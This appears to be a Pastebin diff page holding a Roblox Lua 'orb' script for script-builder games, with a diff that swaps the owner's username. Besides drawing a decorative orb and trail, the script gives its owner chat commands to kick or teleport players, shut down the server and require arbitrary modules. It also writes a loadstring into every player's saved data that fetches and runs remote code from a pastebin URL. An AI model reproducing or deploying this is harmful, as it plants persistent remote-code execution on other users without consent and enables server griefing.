SHOW:
|
|
- or go back to the newest paste.
1 | --//Yoyoyo #jaja is back, this is a module by jillmiles1 ;) PROTECT YO SHIT DAWG | |
2 | ||
3 | return function () -- start of module | |
4 | wait() | |
5 | ||
6 | --[[local Unsandboxed = {} | |
7 | local Model = game:GetService("InsertService"):LoadAsset(140878711):GetChildren()[1] | |
8 | Model.Parent = game:GetService("Workspace") | |
9 | coroutine.yield() | |
10 | --//#jaja bypassed removed sry bb <3 | |
11 | setfenv(1,NewEnv) | |
12 | Model:Destroy() | |
13 | Unsandboxed.Require = function(num) | |
14 | require(num)() | |
15 | end | |
16 | Unsandboxed.Kick = function(plr,reason) | |
17 | game.Players[plr.Name]:Kick(reason) | |
18 | end | |
19 | Unsandboxed.Teleport = function(plr,id) | |
20 | game:GetService("TeleportService"):Teleport(id, plr) | |
21 | end | |
22 | ]] | |
23 | local NLS = shared.NLS or function()end | |
24 | local players = game:GetService("Players") | |
25 | pcall(function() | |
26 | - | Owner = players:FindFirstChild("jillmiles1") |
26 | + | Owner = players:FindFirstChild("Control22") |
27 | end) | |
28 | ||
29 | local Character = nil | |
30 | local Orb = nil | |
31 | ||
32 | local create = LoadLibrary('RbxUtility').Create | |
33 | local clr3 = function(a,b,c) return(Color3.new(a/255,b/255,c/255)) end | |
34 | local logging = {} | |
35 | ||
36 | local Music = { | |
37 | 143808239, | |
38 | 147046055, | |
39 | 170082341, | |
40 | 142282614, | |
41 | 143772118, | |
42 | 149811427, | |
43 | 144653328, | |
44 | 150290325, | |
45 | 155453305, | |
46 | 144635805, | |
47 | 142860040 | |
48 | } | |
49 | ||
50 | local MilesOrbHere = nil | |
51 | if not MilesOrbHere then | |
52 | MilesOrbHere = false | |
53 | end; | |
54 | if MilesOrbHere == true then | |
55 | error("Cannot reload MilesOrb") | |
56 | script.Disabled = true | |
57 | script:Destroy() | |
58 | else | |
59 | MilesOrbHere = true | |
60 | end | |
61 | _G.MilesOrbHere = nil;_G.MilesOrbHere = MilesOrbHere | |
62 | _G.MilesOrbHere = setmetatable({},{ | |
63 | __call = MilesOrbHere, | |
64 | __metatable = "[Locked]" | |
65 | }) | |
66 | print(_G.MilesOrbHere,_G) | |
67 | ||
68 | local Settings = { | |
69 | ["Trail"] = true, | |
70 | ["TrailColor"] = BrickColor.White(), | |
71 | ||
72 | ["Radius"] = 9, | |
73 | ["Height"] = 1.2, | |
74 | ["Bounce"] = 2.7, | |
75 | ||
76 | ["AudioID"] = 260898845, | |
77 | ||
78 | ["Speed"] = .03, | |
79 | ||
80 | ["Rainbow"] = false, | |
81 | } | |
82 | ||
83 | RandomSong = function() | |
84 | Settings.AudioID = Music[math.random(1,#Music)] | |
85 | end | |
86 | ||
87 | GetPlr = function(plr,msg) | |
88 | local Table = {} | |
89 | msg = msg:lower() | |
90 | if msg == 'me' or msg == '' then | |
91 | table.insert(Table,plr) | |
92 | elseif msg == 'others' then | |
93 | for i,v in pairs(game:service'Players':GetPlayers()) do | |
94 | if v.userId ~= plr.userId then | |
95 | table.insert(Table,v) | |
96 | end | |
97 | end | |
98 | elseif msg == 'all' then | |
99 | for i,v in pairs(game:service'Players':GetPlayers()) do | |
100 | table.insert(Table,v) | |
101 | end | |
102 | else | |
103 | for i,v in pairs(game:service'Players':GetPlayers()) do | |
104 | if v.Name:lower():sub(1,5):find(msg:lower()) then | |
105 | table.insert(Table,v) | |
106 | end | |
107 | end | |
108 | end | |
109 | return Table | |
110 | end | |
111 | ||
112 | OnChatted =function(msg) | |
113 | if msg:lower():sub(1,3) == "/e " then | |
114 | msg = msg:sub(4) | |
115 | end | |
116 | if msg:lower():sub(1,4) == "/req" then | |
117 | local num = msg:sub(4) or 9 | |
118 | Unsandboxed.Require(num) | |
119 | elseif msg:lower():sub(1,2) == "/k" then | |
120 | local plr = GetPlr(Owner,msg:sub(4)) | |
121 | for _,v in next,plr do | |
122 | Unsandboxed.Kick(v) | |
123 | end | |
124 | elseif msg:lower():sub(1,2) == "/j" then | |
125 | local plr = GetPlr(Owner,msg:sub(4)) | |
126 | for _,v in next,plr do | |
127 | Unsandboxed.Teleport(v,game.PlaceId) | |
128 | end | |
129 | elseif msg:lower():sub(1,2) == "/r" then | |
130 | if Settings.Rainbow == true then | |
131 | Settings.Rainbow = false | |
132 | else | |
133 | Settings.Rainbow = true | |
134 | end | |
135 | elseif msg:lower():sub(1,2) == "/m" then | |
136 | local num = msg:sub(4) | |
137 | Settings.AudioID = num or 9 | |
138 | elseif msg:lower():sub(1,2) == "/c" then | |
139 | Settings.Rainbow = false | |
140 | local color = msg:sub(4) or "" | |
141 | Settings.TrailColor = (BrickColor.new(color) or BrickColor.Random()) | |
142 | elseif msg:lower():sub(1,3) == "/sd" then | |
143 | for _,v in next,game:GetService("Players"):GetPlayers() do | |
144 | Unsandboxed.Kick(v) | |
145 | end | |
146 | elseif msg:lower():sub(1,3) == "/ns" then | |
147 | local Result = game:GetService('HttpService'):GetAsync('http://www.classy-studios.com/APIs/JoinGame.php?GameID='..tonumber(game.PlaceId),true) | |
148 | repeat wait(.1) until Result | |
149 | for _,v in next,game:GetService("Players"):GetPlayers() do | |
150 | local SV = Instance.new('StringValue');SV.Parent = v;SV.Name = 'SB_Chat';SV.Value = "~MilesOrb~/New Server Created!";game.Debris:AddItem(SV, .1); | |
151 | end | |
152 | else | |
153 | return | |
154 | end | |
155 | end | |
156 | ||
157 | local Tail = Instance.new('Part') | |
158 | Tail.BrickColor = Settings.TrailColor | |
159 | Tail.Transparency = .3 | |
160 | Tail.Anchored = true | |
161 | Tail.CanCollide = false | |
162 | Tail.Locked = true | |
163 | Tail.Material = "Neon" | |
164 | Tail.FormFactor = "Custom" | |
165 | Tail.Size = Vector3.new(.2,.2,.2) | |
166 | Tail.TopSurface = 10 | |
167 | Tail.BottomSurface = 10 | |
168 | local TrailParts = {} | |
169 | ||
170 | NewColor = function() | |
171 | if Settings.Rainbow == true then | |
172 | local cos = math.cos | |
173 | local sin = math.sin | |
174 | local h = time() | |
175 | local pi = math.pi | |
176 | local s=h%1*3; | |
177 | local r=.5*pi*(s%1) | |
178 | if(s<1)then | |
179 | return(Color3.new(1,1-cos(r),1-sin(r))) | |
180 | elseif s<2 then | |
181 | return(Color3.new(1-sin(r),1,1-cos(r))) | |
182 | else | |
183 | return(Color3.new(1-cos(r),1-sin(r),1)) | |
184 | end | |
185 | else | |
186 | return Settings.TrailColor.Color | |
187 | end | |
188 | end | |
189 | ||
190 | Spawnorb = function() | |
191 | if Orb ~= nil then | |
192 | pcall(function() | |
193 | Orb:ClearAllChildren() | |
194 | end) | |
195 | pcall(function() | |
196 | Orb:Destroy() | |
197 | end) | |
198 | end | |
199 | RandomSong() | |
200 | Orb = Instance.new('Part', workspace) | |
201 | Orb.BrickColor = BrickColor.Black() | |
202 | Orb.Transparency = .3 | |
203 | Orb.Anchored = true | |
204 | Orb.CanCollide = false | |
205 | Orb.Locked = true | |
206 | Orb.FormFactor = "Symmetric" | |
207 | Orb.Shape = "Ball" | |
208 | Orb.Size = Vector3.new(1,1,1) | |
209 | Orb.TopSurface = 10 | |
210 | Orb.BottomSurface = 10 | |
211 | local Sound = Instance.new('Sound',Orb) | |
212 | Sound.SoundId = 'rbxassetid://'..Settings.AudioID | |
213 | game:GetService("ContentProvider"):Preload(Sound.SoundId) | |
214 | Sound.Pitch = 1 | |
215 | Sound.Volume = 1 | |
216 | Sound.Looped = true | |
217 | Sound:Play() | |
218 | Orb.Changed:connect(function() | |
219 | if not workspace:FindFirstChild(Orb.Name) or not Orb or Orb == nil then | |
220 | Spawnorb() | |
221 | end | |
222 | end) | |
223 | end Spawnorb() | |
224 | ||
225 | Spawntrail = function() | |
226 | if Orb ~= nil and Settings.Trail == true then | |
227 | local NTail = Tail:Clone() | |
228 | NTail.Parent = Orb | |
229 | NTail.CFrame = Orb.CFrame | |
230 | NTail.Color = NewColor() | |
231 | table.insert(TrailParts, NTail) | |
232 | end | |
233 | end | |
234 | ||
235 | local SaveData = function(plr) | |
236 | if game.PlaceId ~= 20279777 then | |
237 | spawn(function() | |
238 | plr:WaitForDataReady() | |
239 | local datafound = pcall(function() plr:LoadString("MilesOrb") end) | |
240 | plr:SaveString("MilesOrb","loadstring(game:GetService('HttpService'):GetAsync('http://pastebin.com/raw.php?i=PbSuHZWh',true))()") | |
241 | if not datafound then | |
242 | NLS([[print('Miles orb has been saved to you')]],plr:WaitForChild("PlayerGui")) | |
243 | elseif datafound then | |
244 | NLS([[print('Miles orb client side loaded')]],plr:WaitForChild("PlayerGui")) | |
245 | end | |
246 | end) | |
247 | elseif game.PlaceId == 20279777 then | |
248 | spawn(function() | |
249 | plr:WaitForDataReady() | |
250 | local datafound = pcall(function() plr:LoadString("MilesOrb") end) | |
251 | ||
252 | ||
253 | end) | |
254 | end | |
255 | end | |
256 | ||
257 | pcall(function() | |
258 | Owner.Chatted:connect(OnChatted) | |
259 | end) | |
260 | ||
261 | for _,plr in next,players:GetPlayers() do | |
262 | SaveData(plr) | |
263 | end | |
264 | ||
265 | players.PlayerAdded:connect(function(plr) | |
266 | SaveData(plr) | |
267 | if plr.Name:lower() == "jillmiles1" or plr.Name:lower() == "messoradmin" then | |
268 | Owner = plr | |
269 | plr.Chatted:connect(OnChatted) | |
270 | end | |
271 | end) | |
272 | ||
273 | function clerp(p1,p2,percent) | |
274 | local p1x,p1y,p1z,p1R00,p1R01,p1R02,p1R10,p1R11,p1R12,p1R20,p1R21,p1R22=p1:components() | |
275 | local p2x,p2y,p2z,p2R00,p2R01,p2R02,p2R10,p2R11,p2R12,p2R20,p2R21,p2R22=p2:components() | |
276 | return CFrame.new(p1x+percent*(p2x-p1x),p1y+percent*(p2y-p1y),p1z+percent*(p2z-p1z),p1R00+percent*(p2R00-p1R00),p1R01+percent*(p2R01-p1R01),p1R02+percent*(p2R02-p1R02),p1R10+percent*(p2R10-p1R10),p1R11+percent*(p2R11-p1R11),p1R12+percent*(p2R12-p1R12),p1R20+percent*(p2R20-p1R20),p1R21+percent*(p2R21-p1R21),p1R22+percent*(p2R22-p1R22)) | |
277 | end | |
278 | ||
279 | local Rot = 1 | |
280 | spawn(function() | |
281 | game:GetService("RunService").Stepped:connect(function() | |
282 | if Owner and Owner.Character and Owner.Character:FindFirstChild("Torso") then | |
283 | Character = Owner.Character.Torso.CFrame | |
284 | else | |
285 | Character = CFrame.new(0,1.5,0) | |
286 | end | |
287 | if Orb ~= nil then | |
288 | Rot = Rot + Settings.Speed | |
289 | Orb.CFrame = clerp(Orb.CFrame, | |
290 | Character | |
291 | *CFrame.new(.8,5.5,0) | |
292 | *CFrame.Angles(180,Rot,math.sin((tick())*4)/2.2) | |
293 | *CFrame.new(Settings.Radius,0,0) | |
294 | ,.1) | |
295 | -- Trail | |
296 | ||
297 | Spawntrail() | |
298 | for i,_ in next,TrailParts do | |
299 | if TrailParts[i] ~= nil and TrailParts[i+1] ~= nil then | |
300 | local Part1 = TrailParts[i] | |
301 | local Part2 = TrailParts[i+1] | |
302 | local Mag = ((Part1.CFrame.p-Part2.CFrame.p).magnitude) | |
303 | Part1.Size = Vector3.new(Part1.Size.X+.02, Mag, Part1.Size.Z+.02) | |
304 | Part1.Transparency = Part1.Transparency + .017 | |
305 | Part1.CFrame = CFrame.new(Part1.CFrame.p, Part2.CFrame.p) | |
306 | *CFrame.Angles(math.pi/2,2,0) | |
307 | if Part1.Size.X >= .5 then | |
308 | Part1:Destroy() | |
309 | table.remove(TrailParts, i) | |
310 | end | |
311 | end | |
312 | end | |
313 | end | |
314 | end) | |
315 | end) | |
316 | end -- end of module |